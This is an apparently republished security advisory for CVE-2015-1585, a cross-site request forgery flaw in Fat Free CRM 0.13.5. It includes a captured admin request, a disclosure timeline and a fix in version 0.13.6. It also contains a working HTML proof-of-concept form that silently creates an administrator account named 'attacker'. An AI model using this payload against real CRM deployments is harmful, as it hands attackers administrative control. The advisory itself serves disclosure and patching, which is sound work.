[CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5

Type securityvulns
Reporter Securityvulns
Modified 2015-02-22T00:00:00


[CVE-2015-1585] Fat Free CRM - CSRF Vulnerability in Version 0.13.5

Product Information:

Software: Fat Free CRM

Tested Version: 0.13.5, released 22.1.2015 with over 10.000 downloads

Vulnerability Type: Cross-Site Request Forgery, CSRF (CWE-352)

Download link: https://rubygems.org/gems/fat_free_crm/versions/0.13.5

Description: An open source, Ruby on Rails customer relationship management platform (CRM). Out of the box it features group collaboration, campaign and lead management, contact lists, and opportunity tracking (copied from https://github.com/fatfreecrm/fat_free_crm)

Vulnerability description:

When an authenticated administrative user of Fat Free CRM is creating another user account, the following POST request is sent to the server:

POST /admin/users HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: /;q=0.5, text/javascript, application/javascript, application/ecmascript, application/x-ecmascript Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-Token: oxZgwOAtzNdFJU85jPqmI+g893lQaOy6ctCCzef42qI= Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: Content-Length: 356 Cookie: _session_id=$foo1; user_credentials=$foo2 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache


As can be seen, the application is already using a CSRF token in the parameter authenticity_token, that has got a sufficient entropy. Nevertheless, this parameter is optional and not mandatory when creating a user. When executing the following Proof-of-Concept, a new administrative user called "attacker" will be created with the password 1234.

<html> <body> <form action="" method="POST"> <input type="hidden" name="utf8" value="�œ“" /> <input type="hidden" name="user[username]" value="attacker" /> <input type="hidden" name="user[email]" value="test@test.org" /> <input type="hidden" name="user[password]" value="1234" /> <input type="hidden" name="user[password_confirmation]" value="1234" /> <input type="hidden" name="user[admin]" value="1" /> <input type="hidden" name="commit" value="Create User" /> <input type="submit" value="Submit request" /> </form> </body> </html>


Every state changing operation within Fat Free CRM is using the parameter authenticity_token in order to prevent CSRF attacks. Nevertheless, all operations can be triggered by a CSRF attack, as this parameter is always optional and not needed.


Update to the latest version, which is 0.13.6, see https://rubygems.org/gems/fat_free_crm/versions/0.13.6

See also https://github.com/fatfreecrm/fat_free_crm/wiki/CSRF-Vulnerability-%28CVE-2015-1585%29


Vulnerability found: 11.2.2015 Vendor informed: 11.2.2015 Response by vendor: 12.2.2015 Fix by vendor 12.2.2015 Public Advisory: 14.2.2015

Best regards,

Sven Schleier